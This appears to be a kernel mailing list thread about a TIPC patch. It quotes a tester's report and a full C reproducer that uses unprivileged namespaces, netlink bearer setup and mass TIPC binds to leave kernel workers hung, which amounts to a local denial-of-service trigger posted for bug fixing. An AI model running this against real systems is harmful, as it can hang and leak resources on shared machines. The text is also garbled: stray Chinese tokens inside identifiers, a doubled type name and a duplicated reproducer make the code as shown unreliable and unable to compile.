= recv(fd, rbuf, sizeof(rbuf), 0); > if (n < 0) { perror("recv genl resolve"); exit(1); } > > struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; > if (rh->nlmsg_type == NLMSG_ERROR) > return -1; > struct nlattr *a = (struct nlattr *)((char *)NLMSG_DATA(rh) + >GENL_HDRLEN); > int alen阿伦 = rh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN; > while (alen > 0) { > if (a->nla_type == CTRL_ATTR_FAMILY_ID) > return *(uint16_t *)((char *)a + NLA_HDRLEN); > int step = MY_NLA_ALIGN(a->nla_len); > alen -= step; > a = (struct nlattr *)((char *)a + step); > } > return -1; >} > >static int nl_recv_ack(int fd, const char *what) { > char rbuf[8192]; > int n = recv(fd, rbuf, sizeof(rbuf), 0); > if (n < 0) { fprintf(stderr, "recv ack (%s): %s\n", what, strerror(errno)); >return -1; } > struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; > if (rh->nlmsg_type == NLMSG_ERROR) { > struct nlmsgerr *e = NLMSG_DATA(rh); > if (e->error != 0) > fprintf(stderr, "[%s] netlink error: %d (%s)\n", what, e->error, >strerror(-e->error)); > return e->error; > } > return 0; >} > >static void *rta_put(char *buf, int *off, int type, const void *data, int len) { > struct rtattr *a = (struct rtattr *)(buf + *off); > a->rta_type = type; > a->rta_len = RTA_LENGTH(len); > if (len) memcpy(RTA_DATA(a), data, len); > *off += RTA_ALIGN(a->rta_len); > return a; >} > >static struct rtattr *rta_nest(char *buf, int *off, int type) { > struct rtattr *a = (struct rtattr *)(buf + *off); > a->rta_type = type | NLA_F_NESTED; > *off += RTA_LENGTH(0); > return a; >} > >static void rta_nest_end(char *buf, int *off, struct rtattr *start) { > start->rta_len = (buf + *off) - (char *)start; } > >static void create_veth(int fd, const char *n0, const char *n1, int peer_nsfd) { > char buf[2048]; > memset(buf, 0, sizeof(buf)); > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > struct ifinfomsg *ifi = NLMSG_DATA(nlh); > int off = NLMSG_HDRLEN + sizeof(*ifi); > > nlh->nlmsg_type = RTM_NEWLINK; > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | >NLM_F_EXCL; > nlh->nlmsg_seq = 10; > ifi->ifi_family = AF_UNSPEC; > > rta_put(buf, &off, IFLA_IFNAME, n0, strlen(n0) + 1); > struct rtattr *linfo = rta_nest(buf, &off, IFLA_LINKINFO); > rta_put(buf, &off, IFLA_INFO_KIND, "veth", 5); > struct rtattr *idata = rta_nest(buf, &off, IFLA_INFO_DATA); > struct rtattr *peer = rta_nest(buf, &off, VETH_INFO_PEER); > struct ifinfomsg *pifi = (struct ifinfomsg *)(buf + off); > memset(pifi, 0, sizeof(*pifi)); > off += sizeof(*pifi); > rta_put(buf, &off, IFLA_IFNAME, n1, strlen(n1) + 1); > rta_put(buf, &off, IFLA_NET_NS_FD, &peer_nsfd, sizeof(peer_nsfd)); > rta_nest_end(buf, &off, peer); > rta_nest_end(buf, &off, idata); > rta_nest_end(buf, &off, linfo); > nlh->nlmsg_len = off; > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send veth"); exit(1); } > int e = nl_recv_ack(fd, "create_veth"); > if (e && e != -EEXIST) { fprintf(stderr, "veth create failed: >%d\n", e); exit(1); } >} > >static void set_if_up(int fd, const char *name) { > char buf[512]; > memset(buf, 0, sizeof(buf)); > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > struct ifinfomsg *ifi = NLMSG_DATA(nlh); > int off = NLMSG_HDRLEN + sizeof(*ifi); > nlh->nlmsg_type = RTM_NEWLINK; > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; > nlh->nlmsg_seq = 20; > ifi->ifi_family = AF_UNSPEC; > ifi->ifi_index = if_nametoindex(name); > ifi->ifi_flags = IFF_UP; > ifi->ifi_change = IFF_UP; > nlh->nlmsg_len = off; > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send up"); exit(1); } > nl_recv_ack(fd, "set_if_up"); >} > >static void add_ipv4(int fd, const char *name, const char *ip, int prefix) { > char buf[512]; > memset(buf, 0, sizeof(buf)); > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > struct ifaddrmsg *ifa = NLMSG_DATA(nlh); > int off = NLMSG_HDRLEN + sizeof(*ifa); > nlh->nlmsg_type = RTM_NEWADDR; > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | >NLM_F_REPLACE; > nlh->nlmsg_seq = 30; > ifa->ifa_family = AF_INET; > ifa->ifa_prefixlen = prefix; > ifa->ifa_scope = 0; > ifa->ifa_index = if_nametoindex(name); > > struct in_addr a; > inet_pton(AF_INET, ip, &a); > rta_put(buf, &off, IFA_LOCAL, &a, 4); > rta_put(buf, &off, IFA_ADDRESS, &a, 4); > nlh->nlmsg_len = off; > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send addr"); exit(1); } > nl_recv_ack(fd, "add_ipv4"); >} > >static void tipc_set_node_id(int fd, uint64_t w0, uint64_t w1) { > char buf[1024]; > memset(buf, 0, sizeof(buf)); > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr >*)NLMSG_DATA(nlh); > int off = NLMSG_HDRLEN + GENL_HDRLEN; > nlh->nlmsg_type = tipc_family; > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; > nlh->nlmsg_seq = 40; > gh->cmd = TIPC_NL_NET_SET; > gh->version = 1; > > struct nlattr *net = nla_nest_start(buf, &off, TIPC_NLA_NET); > nla_put(buf, &off, TIPC_NLA_NET_NODEID, &w0, sizeof(w0)); > nla_put(buf, &off, TIPC_NLA_NET_NODEID_W1, &w1, sizeof(w1)); > nla_nest_end(buf, &off, net); > nlh->nlmsg_len = off; > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send net_set"); exit(1); } > int e = nl_recv_ack(fd, "tipc_set_node_id"); > if (e) fprintf(stderr, "net_set(nodeid) returned %d\n", e); } > >static void put_sockaddr_storage_v4(char *buf, int *off, int type, const char *ip, >int port) { > struct sockaddr_storage ss; > memset(&ss, 0, sizeof(ss)); > struct sockaddr_in *sin = (struct sockaddr_in *)&ss; > sin->sin_family = AF_INET; > sin->sin_port = htons(port); > inet_pton(AF_INET, ip, &sin->sin_addr); > nla_put(buf, off, type, &ss, sizeof(ss)); } > >static void tipc_udp_bearer(int fd, int cmd, const char *bname, > const char *local_ip, const char *remote_ip) { > char buf[2048]; > memset(buf, 0, sizeof(buf)); > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr >*)NLMSG_DATA(nlh); > int off = NLMSG_HDRLEN + GENL_HDRLEN; > nlh->nlmsg_type = tipc_family; > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; > nlh->nlmsg_seq = 50; > gh->cmd = cmd; > gh->version = 1; > > struct nlattr *bearer = nla_nest_start(buf, &off, TIPC_NLA_BEARER); > nla_put(buf, &off, TIPC_NLA_BEARER_NAME, bname名称, >strlen(bname名称) + 1); > if (cmd == TIPC_NL_BEARER_ENABLE) { > struct nlattr *udp = nla_nest_start(buf, &off, >TIPC_NLA_BEARER_UDP_OPTS); > put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_LOCAL, local_ip, >TIPC_UDP_PORT); > put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_REMOTE, >remote_ip, TIPC_UDP_PORT); > nla_nest_end(buf, &off, udp); > } > nla_nest_end(buf, &off, bearer); > nlh->nlmsg_len = off; > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send bearer"); exit(1); } > int e = nl_recv_ack(fd, "tipc_udp_bearer"); > if (e) fprintf(stderr, "bearer cmd %d (%s) returned %d\n", cmd, >bname名称, e); } > >static int write_file(const char *path, const char *val) { > int fd = open(path, O_WRONLY); > if (fd < 0) return -1; > int r = write(fd, val, strlen(val)); > close(fd); > return r; >} > >static int bindfill_node_scope(int target) { > int fd = socket(AF_TIPC, SOCK_RDM, 0); > if (fd < 0) { perror("socket(AF_TIPC)"); exit(1); } > int ok = 0, fail = 0; > for (int i = 0; i < target + 1000; i++) { > struct sockaddr_tipc sa; > memset(&sa, 0, sizeof(sa)); > sa.family = AF_TIPC; > sa.addrtype = TIPC_SERVICE_ADDR; > sa.scope = TIPC_NODE_SCOPE; > sa.addr.nameseq.type = 100000 + i; > sa.addr.nameseq.lower = 100000 + i; > sa.addr.nameseq.upper = 100000 + i; > if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) { > ok++; > fail = 0; > } else if (++fail > 100) { > break; > } > } > fprintf(stderr, "[*] bound %d node-scope publications (cap reached)\n", >ok); > if (ok < 65000) { fprintf(stderr, "bindfill shortfall\n"); exit(1); } > return fd; >} > >static void child_main(int sync_rd, int sync_wr) { > char c; > write(sync_wr, "R", 1); > if (read(sync_rd, &c, 1) != 1) _exit(1); > > int rfd = nl_open(NETLINK_ROUTE); > set_if_up(rfd, "lo"); > set_if_up(rfd, "veth1"); > add_ipv4(rfd, "veth1", "10.0.0.2", 24); > > int gfd = nl_open(NETLINK_GENERIC); > tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME); > if (tipc_family < 0) _exit(1); > > int bfd = bindfill_node_scope(65535); > tipc_set_node_id(gfd, 0x2222222222222222ULL, >0x2222222222222222ULL); > tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b1", "10.0.0.2", >"10.0.0.1"); > write(sync_wr, "C", 1); > > sleep(35); > tipc_udp_bearer(gfd, TIPC_NL_BEARER_DISABLE, "udp:b1", NULL, NULL); > fprintf(stderr, "[child] b1 disabled, keeping it down\n"); > (void)bfd; > for (;;) pause(); >} > >int main(void) >{ > setvbuf(stdout, NULL, _IONBF, 0); > setvbuf(stderr, NULL, _IONBF, 0); > > uid_t uid = getuid(); > gid_t gid = getgid(); > > if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) { > write_file("/proc/self/setgroups", "deny"); > char m[64]; > snprintf(m, sizeof(m), "0 %d 1", uid); > write_file("/proc/self/uid_map", m); > snprintf(m, sizeof(m), "0 %d 1", gid); > write_file("/proc/self/gid_map", m); > } else if (unshare(CLONE_NEWNET) < 0) { > perror("unshare"); > return 1; > } > > int p2c[2], c2p[2]; > if (pipe(p2c) < 0 || pipe(c2p) < 0) { perror("pipe"); return 1; } > > pid_t pid = fork(); > if (pid == 0) { > close(p2c[1]); > close(c2p[0]); > if (unshare(CLONE_NEWNET) < 0) _exit(1); > child_main(p2c[0], c2p[1]); > _exit(0); > } > close(p2c[0]); > close(c2p[1]); > > char c; > if (read(c2p[0], &c, 1) != 1) { fprintf(stderr, "child not ready\n"); return 1; } > > char nspath[64]; > snprintf(nspath, sizeof(nspath), "/proc/%d/ns/net", pid); > int nsfd = open(nspath, O_RDONLY); > if (nsfd < 0) { perror("open ns"); return 1; } > > int rfd = nl_open(NETLINK_ROUTE); > create_veth(rfd, "veth0", "veth1", nsfd); > close(nsfd); > set_if_up(rfd, "lo"); > set_if_up(rfd, "veth0"); > add_ipv4(rfd, "veth0", "10.0.0.1", 24); > write(p2c[1], "G", 1); > > int gfd = nl_open(NETLINK_GENERIC); > tipc_family = genl_resolve_family(gfd, TIPC_GENL_V2_NAME); > if (tipc_family < 0) return 1; > int bfd = bindfill_node_scope(65535); > tipc_set_node_id(gfd, 0x1111111111111111ULL, >0x1111111111111111ULL); > > if (read(c2p[0], &c, 1) != 1) > fprintf(stderr, "child config sync missed\n"); > tipc_udp_bearer(gfd, TIPC_NL_BEARER_ENABLE, "udp:b0", "10.0.0.1", >"10.0.0.2"); > > fprintf(stderr, "[*] nodes configured; waiting for stale cleanup\n"); > (void)bfd; > sleep(400); > kill(pid, SIGKILL); > waitpid(pid, NULL, 0); > fprintf(stderr, "[*] done\n"); > return 0; >} > >``` > > >Do you think tipc_node_cleanup() should go through the same wake logic as >tipc_node_delete()? Happy to test the next version. Thanks for your test report and reproducer. It will look into the reproducer to fix outstanding issues. > >Thanks, >Weiming ^ permalink raw reply [flat|nested] 14+ messages in thread
* Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list 2026-07-21 3:24 ` Tung Quang Nguyen @ 2026-07-27 10:30 ` Weiming Shi 2026-07-27 10:48 ` Tung Quang Nguyen 2026-07-28 12:52 ` Tung Quang Nguyen 0 siblings, 2 replies; 14+ messages in thread From: Weiming Shi @ 2026-07-27 10:30 UTC (permalink / raw) To: Tung Quang Nguyen Cc: Xiang Mei, David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel, Jon Maloy, netdev, tipc-discussion Tung Quang Nguyen <tung.quang.nguyen@est.tech> 于2026年7月21日周二 11:24写道： > > >Subject: Re: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() > >on empty publication list > > > >Hi Tung, > > > >I tested this on v7.1-rc5 with the two-node setup (UDP bearers, node-id > >addressing), as an unprivileged user and as root. > >The original NULL deref is fixed, and the sashiko findings look addressed. > > > >But I found one path the patch misses: tipc_node_cleanup(). It removes a stale > >node with tipc_node_delete_from_list() directly, without the wake/cancel you > >added in tipc_node_delete(). If a deferred worker is still parked when the stale > >timer fires, the node is removed from the list while the worker is sleeping in > >wait_var_event(). Since the node is off the list, the wake in tipc_node_delete() > >can no longer reach it. The worker stays in D state and keeps its node > >reference, so the node struct leaks as well. > > > >This state is reachable from userspace without any kernel change: > >filling local_publ_count to TIPC_MAX_PUBL with node-scope binds makes > >tipc_net_finalize()'s publish fail, and the work_rescheduled retry then keeps > >finalized at 0, so the link-up defers the worker for as long as the table stays full. > >(The retry also也重试 busy-loops, printing "tipc: Bind failed, max limit 65535 > >reached" each round.) Bringing the link down makes the peer node go stale > >NODE_CLEANUP_AFTER (300s) later, with the worker still parked. > >The hung task watchdog flags it: > > > >``` > > [ 370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds. > > [ 370.441580] Workqueue: events tipc_node_dist_bulk > > [ 370.442803] Call Trace: > > [ 370.443151] __schedule+0x18bf/0x4680 > > [ 370.444293] tipc_named_dist_cluster_scope+0x1a0/0x220 > > [ 370.446076] tipc_node_dist_bulk+0x6d/0x1b0 > > [ 370.446218] process_one_work+0x845/0x1a60 ``` > > > >With a test-only marker printk in tipc_node_cleanup() I can see the stale timer > >remove both nodes at ~368s and ~375s, i.e. while the workers above are still > >parked. Nothing wakes them on that path; in this run they only exit because > >killing the reproducer closes the bind sockets, so the next retry's publish > >succeeds. With a persistent failure source (e.g. memory > >pressure) the worker would stay parked across the netns teardown as well. > > > > > >``` > >[ 247.560544] INFO: task kworker/0:0:9 blocked for more than 122 seconds. > > [ 247.568089] INFO: task kworker/0:2:67 blocked for more than 122 > >seconds. > > > > [ 370.440401] INFO: task kworker/0:0:9 blocked for more than 245 seconds. > > [ 370.441580] Workqueue: events tipc_node_dist_bulk > > [ 370.442803] Call Trace: > > [ 370.443151] __schedule+0x18bf/0x4680 > > [ 370.444293] tipc_named_dist_cluster_scope+0x1a0/0x220 ← > >wait_var_event 睡眠点 > > [ 370.446076] tipc_node_dist_bulk+0x6d/0x1b0 > > [ 370.446218] process_one_work+0x845/0x1a60 > > > >``` > > > > > >The Configs and reproducer ： > >``` > >CONFIG_TIPC=y, > >CONFIG_TIPC_MEDIA_UDP=y, CONFIG_USER_NS=y, CONFIG_NET_NS=y, > >CONFIG_KASAN=y (crash on the unpatched kernel), > >CONFIG_DETECT_HUNG_TASK=y ``` > > > >```c > >#define _GNU_SOURCE > >#include <stdio.h> > >#include <stdlib.h> > >#include <string.h> > >#include <unistd.h> > >#include <errno.h> > >#include <sched.h> > >#include <fcntl.h> > >#include <signal.h> > >#include <sys/types.h> > >#include <sys/wait.h> > >#include <sys/socket.h> > >#include <arpa/inet.h> > >#include <net/if.h> > >#include <linux/netlink.h> > >#include <linux/rtnetlink.h> > >#include <linux/genetlink.h> > >#include <linux/if_link.h> > >#include <linux/veth.h> > >#include <linux/tipc.h> > > > >#ifndef AF_TIPC > >#define AF_TIPC 30 > >#endif > >#ifndef SOCK_RDM > >#define SOCK_RDM 4 > >#endif > > > >#ifndef VETH_INFO_PEER > >#define VETH_INFO_PEER 1 > >#endif > > > >#define TIPC_GENL_V2_NAME "TIPCv2" > > > >enum { > > TIPC_NL_UNSPEC, > > TIPC_NL_LEGACY, > > TIPC_NL_BEARER_DISABLE, > > TIPC_NL_BEARER_ENABLE, > > TIPC_NL_BEARER_GET, > > TIPC_NL_BEARER_SET, > > TIPC_NL_SOCK_GET, > > TIPC_NL_PUBL_GET, > > TIPC_NL_LINK_GET, > > TIPC_NL_LINK_SET, > > TIPC_NL_LINK_RESET_STATS, > > TIPC_NL_MEDIA_GET, > > TIPC_NL_MEDIA_SET, > > TIPC_NL_NODE_GET, > > TIPC_NL_NET_GET, > > TIPC_NL_NET_SET, > >}; > > > >enum { > > TIPC_NLA_UNSPEC, > > TIPC_NLA_BEARER, > > TIPC_NLA_SOCK, > > TIPC_NLA_PUBL, > > TIPC_NLA_LINK, > > TIPC_NLA_MEDIA, > > TIPC_NLA_NODE, > > TIPC_NLA_NET, > >}; > > > >enum { > > TIPC_NLA_BEARER_UNSPEC, > > TIPC_NLA_BEARER_NAME, > > TIPC_NLA_BEARER_PROP, > > TIPC_NLA_BEARER_DOMAIN, > > TIPC_NLA_BEARER_UDP_OPTS, > >}; > > > >enum { > > TIPC_NLA_UDP_UNSPEC, > > TIPC_NLA_UDP_LOCAL, > > TIPC_NLA_UDP_REMOTE, > > TIPC_NLA_UDP_MULTI_REMOTEIP, > >}; > > > >enum { > > TIPC_NLA_NET_UNSPEC, > > TIPC_NLA_NET_ID, > > TIPC_NLA_NET_ADDR, > > TIPC_NLA_NET_NODEID, > > TIPC_NLA_NET_NODEID_W1, > >}; > > > >#define TIPC_UDP_PORT 6118 > >#define NLA_ALIGNTO 4 > >#define MY_NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - > >1)) > > > >static int tipc_family; > > > >static int nl_open(int protocol) > >{ > > int fd = socket(AF_NETLINK, SOCK_RAW, protocol); > > if (fd < 0) { perror("socket(NETLINK)"); exit(1); } > > struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; > > if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { > > perror("bind(NETLINK)"); exit(1); > > } > > return fd; > >} > > > >static void *nla_put(char *buf, int *off, int type, const void *data, int len) { > > struct nlattr *a = (struct nlattr *)(buf + *off); > > a->nla_type = type; > > a->nla_len = NLA_HDRLEN + len; > > if (len) > > memcpy((char *)a + NLA_HDRLEN, data, len); > > *off += MY_NLA_ALIGN(a->nla_len); > > return a; > >} > > > >static struct nlattr *nla_nest_start(char *buf, int *off, int type) { > > struct nlattr *a = (struct nlattr *)(buf + *off); > > a->nla_type = type | NLA_F_NESTED; > > *off += NLA_HDRLEN; > > return a; > >} > > > >static void nla_nest_end(char *buf, int *off, struct nlattr *start) { > > start->nla_len = (buf + *off) - (char *)start; } > > > >static int genl_resolve_family(int fd, const char *name) { > > char buf[1024]; > > memset(buf, 0, sizeof(buf)); > > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > > struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr > >*)NLMSG_DATA(nlh); > > int off = NLMSG_HDRLEN + GENL_HDRLEN; > > > > nlh->nlmsg_type = GENL_ID_CTRL; > > nlh->nlmsg_flags = NLM_F_REQUEST; > > nlh->nlmsg_seq = 1; > > gh->cmd = CTRL_CMD_GETFAMILY; > > gh->version = 1; > > nla_put(buf, &off, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1); > > nlh->nlmsg_len = off; > > > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send genl resolve"); > >exit(1); } > > > > char rbuf[4096]; > > int n = recv(fd, rbuf, sizeof(rbuf), 0); > > if (n < 0) { perror("recv genl resolve"); exit(1); } > > > > struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; > > if (rh->nlmsg_type == NLMSG_ERROR) > > return -1; > > struct nlattr *a = (struct nlattr *)((char *)NLMSG_DATA(rh) + > >GENL_HDRLEN); > > int alen阿伦 = rh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN; > > while (alen > 0) { > > if (a->nla_type == CTRL_ATTR_FAMILY_ID) > > return *(uint16_t *)((char *)a + NLA_HDRLEN); > > int step = MY_NLA_ALIGN(a->nla_len); > > alen -= step; > > a = (struct nlattr *)((char *)a + step); > > } > > return -1; > >} > > > >static int nl_recv_ack(int fd, const char *what) { > > char rbuf[8192]; > > int n = recv(fd, rbuf, sizeof(rbuf), 0); > > if (n < 0) { fprintf(stderr, "recv ack (%s): %s\n", what, strerror(errno)); > >return -1; } > > struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; > > if (rh->nlmsg_type == NLMSG_ERROR) { > > struct nlmsgerr *e = NLMSG_DATA(rh); > > if (e->error != 0) > > fprintf(stderr, "[%s] netlink error: %d (%s)\n", what, e->error, > >strerror(-e->error)); > > return e->error; > > } > > return 0; > >} > > > >static void *rta_put(char *buf, int *off, int type, const void *data, int len) { > > struct rtattr *a = (struct rtattr *)(buf + *off); > > a->rta_type = type; > > a->rta_len = RTA_LENGTH(len); > > if (len) memcpy(RTA_DATA(a), data, len); > > *off += RTA_ALIGN(a->rta_len); > > return a; > >} > > > >static struct rtattr *rta_nest(char *buf, int *off, int type) { > > struct rtattr *a = (struct rtattr *)(buf + *off); > > a->rta_type = type | NLA_F_NESTED; > > *off += RTA_LENGTH(0); > > return a; > >} > > > >static void rta_nest_end(char *buf, int *off, struct rtattr *start) { > > start->rta_len = (buf + *off) - (char *)start; } > > > >static void create_veth(int fd, const char *n0, const char *n1, int peer_nsfd) { > > char buf[2048]; > > memset(buf, 0, sizeof(buf)); > > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > > struct ifinfomsg *ifi = NLMSG_DATA(nlh); > > int off = NLMSG_HDRLEN + sizeof(*ifi); > > > > nlh->nlmsg_type = RTM_NEWLINK; > > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | > >NLM_F_EXCL; > > nlh->nlmsg_seq = 10; > > ifi->ifi_family = AF_UNSPEC; > > > > rta_put(buf, &off, IFLA_IFNAME, n0, strlen(n0) + 1); > > struct rtattr *linfo = rta_nest(buf, &off, IFLA_LINKINFO); > > rta_put(buf, &off, IFLA_INFO_KIND, "veth", 5); > > struct rtattr *idata = rta_nest(buf, &off, IFLA_INFO_DATA); > > struct rtattr *peer = rta_nest(buf, &off, VETH_INFO_PEER); > > struct ifinfomsg *pifi = (struct ifinfomsg *)(buf + off); > > memset(pifi, 0, sizeof(*pifi)); > > off += sizeof(*pifi); > > rta_put(buf, &off, IFLA_IFNAME, n1, strlen(n1) + 1); > > rta_put(buf, &off, IFLA_NET_NS_FD, &peer_nsfd, sizeof(peer_nsfd)); > > rta_nest_end(buf, &off, peer); > > rta_nest_end(buf, &off, idata); > > rta_nest_end(buf, &off, linfo); > > nlh->nlmsg_len = off; > > > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send veth"); exit(1); } > > int e = nl_recv_ack(fd, "create_veth"); > > if (e && e != -EEXIST) { fprintf(stderr, "veth create failed: > >%d\n", e); exit(1); } > >} > > > >static void set_if_up(int fd, const char *name) { > > char buf[512]; > > memset(buf, 0, sizeof(buf)); > > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > > struct ifinfomsg *ifi = NLMSG_DATA(nlh); > > int off = NLMSG_HDRLEN + sizeof(*ifi); > > nlh->nlmsg_type = RTM_NEWLINK; > > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; > > nlh->nlmsg_seq = 20; > > ifi->ifi_family = AF_UNSPEC; > > ifi->ifi_index = if_nametoindex(name); > > ifi->ifi_flags = IFF_UP; > > ifi->ifi_change = IFF_UP; > > nlh->nlmsg_len = off; > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send up"); exit(1); } > > nl_recv_ack(fd, "set_if_up"); > >} > > > >static void add_ipv4(int fd, const char *name, const char *ip, int prefix) { > > char buf[512]; > > memset(buf, 0, sizeof(buf)); > > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > > struct ifaddrmsg *ifa = NLMSG_DATA(nlh); > > int off = NLMSG_HDRLEN + sizeof(*ifa); > > nlh->nlmsg_type = RTM_NEWADDR; > > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | > >NLM_F_REPLACE; > > nlh->nlmsg_seq = 30; > > ifa->ifa_family = AF_INET; > > ifa->ifa_prefixlen = prefix; > > ifa->ifa_scope = 0; > > ifa->ifa_index = if_nametoindex(name); > > > > struct in_addr a; > > inet_pton(AF_INET, ip, &a); > > rta_put(buf, &off, IFA_LOCAL, &a, 4); > > rta_put(buf, &off, IFA_ADDRESS, &a, 4); > > nlh->nlmsg_len = off; > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send addr"); exit(1); } > > nl_recv_ack(fd, "add_ipv4"); > >} > > > >static void tipc_set_node_id(int fd, uint64_t w0, uint64_t w1) { > > char buf[1024]; > > memset(buf, 0, sizeof(buf)); > > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > > struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr > >*)NLMSG_DATA(nlh); > > int off = NLMSG_HDRLEN + GENL_HDRLEN; > > nlh->nlmsg_type = tipc_family; > > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; > > nlh->nlmsg_seq = 40; > > gh->cmd = TIPC_NL_NET_SET; > > gh->version = 1; > > > > struct nlattr *net = nla_nest_start(buf, &off, TIPC_NLA_NET); > > nla_put(buf, &off, TIPC_NLA_NET_NODEID, &w0, sizeof(w0)); > > nla_put(buf, &off, TIPC_NLA_NET_NODEID_W1, &w1, sizeof(w1)); > > nla_nest_end(buf, &off, net); > > nlh->nlmsg_len = off; > > > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send net_set"); exit(1); } > > int e = nl_recv_ack(fd, "tipc_set_node_id"); > > if (e) fprintf(stderr, "net_set(nodeid) returned %d\n", e); } > > > >static void put_sockaddr_storage_v4(char *buf, int *off, int type, const char *ip, > >int port) { > > struct sockaddr_storage ss; > > memset(&ss, 0, sizeof(ss)); > > struct sockaddr_in *sin = (struct sockaddr_in *)&ss; > > sin->sin_family = AF_INET; > > sin->sin_port = htons(port); > > inet_pton(AF_INET, ip, &sin->sin_addr); > > nla_put(buf, off, type, &ss, sizeof(ss)); } > > > >static void tipc_udp_bearer(int fd, int cmd, const char *bname, > > const char *local_ip, const char *remote_ip) { > > char buf[2048]; > > memset(buf, 0, sizeof(buf)); > > struct nlmsghdr *nlh = (struct nlmsghdr *)buf; > > struct genlmsghdrgenlmsghdr *gh = (struct genlmsghdrgenlmsghdr > >*)NLMSG_DATA(nlh); > > int off = NLMSG_HDRLEN + GENL_HDRLEN; > > nlh->nlmsg_type = tipc_family; > > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; > > nlh->nlmsg_seq = 50; > > gh->cmd = cmd; > > gh->version = 1; > > > > struct nlattr *bearer = nla_nest_start(buf, &off, TIPC_NLA_BEARER); > > nla_put(buf, &off, TIPC_NLA_BEARER_NAME, bname名称, > >strlen(bname名称) + 1); > > if (cmd == TIPC_NL_BEARER_ENABLE) { > > struct nlattr *udp = nla_nest_start(buf, &off, > >TIPC_NLA_BEARER_UDP_OPTS); > > put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_LOCAL, local_ip, > >TIPC_UDP_PORT); > > put_sockaddr_storage_v4(buf, &off, TIPC_NLA_UDP_REMOTE, > >remote_ip, TIPC_UDP_PORT); > > nla_nest_end(buf, &off, udp); > > } > > nla_nest_end(buf, &off, bearer); > > nlh->nlmsg_len = off; > > > > if (send(fd, buf, nlh->nlmsg_len, 0) < 0) { perror("send bearer"); exit(1); } > > int e = nl_recv_ack(fd, "tipc_udp_bearer"); > > if (e) fprintf(stderr, "bearer cmd %d (%s) returned %d\n", cmd, > >bname名称, e); } > > > >static int write_file(const char *path, const char *val) { > > int fd = open(path, O_WRONLY); > > if (fd < 0) return -1; > > int r = write(fd, val, strlen(val)); > > close(fd); > > return r; > >} > > > >static int bindfill_node_scope(int target) { > > int fd = socket(AF_TIPC, SOCK_RDM, 0); > > if (fd < 0) { perror("socket(AF_TIPC)"); exit(1); } > > int ok = 0, fail = 0; > > for (int i = 0; i < target + 1000; i++) { > > struct sockaddr_tipc sa; > > memset(&sa, 0, sizeof(sa)); > > sa.family = AF_TIPC; > > sa.addrtype = TIPC_SERVICE_ADDR; > > sa.scope = TIPC_NODE_SCOPE; > > sa.addr.nameseq.type = 100000 + i; > > sa.addr.nameseq.lower = 100000 + i; > > sa.addr.nameseq.upper = 100000 + i; > > if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) == 0) { > > ok++; > > fail = 0; > > } else if (++fail > 100) { > > break; > > } > > } > > fprintf(stderr, "[*] bound %d node-scope publications (cap reached)\n", > >ok); > > if (ok < 65000) { fprintf(stderr, "bindfill shortfall\n"); exit(1); } > > return fd; > >} > > > >static void child_main(int sync_rd, int sync_wr) { > > char c; > > write(sync_wr, "R", 1); > > if (read(sync_rd, &c, 1) != 1) _exit(1); > > > > int rfd = nl_open(NETLINK_ROUTE); > > set_if_up(rfd, 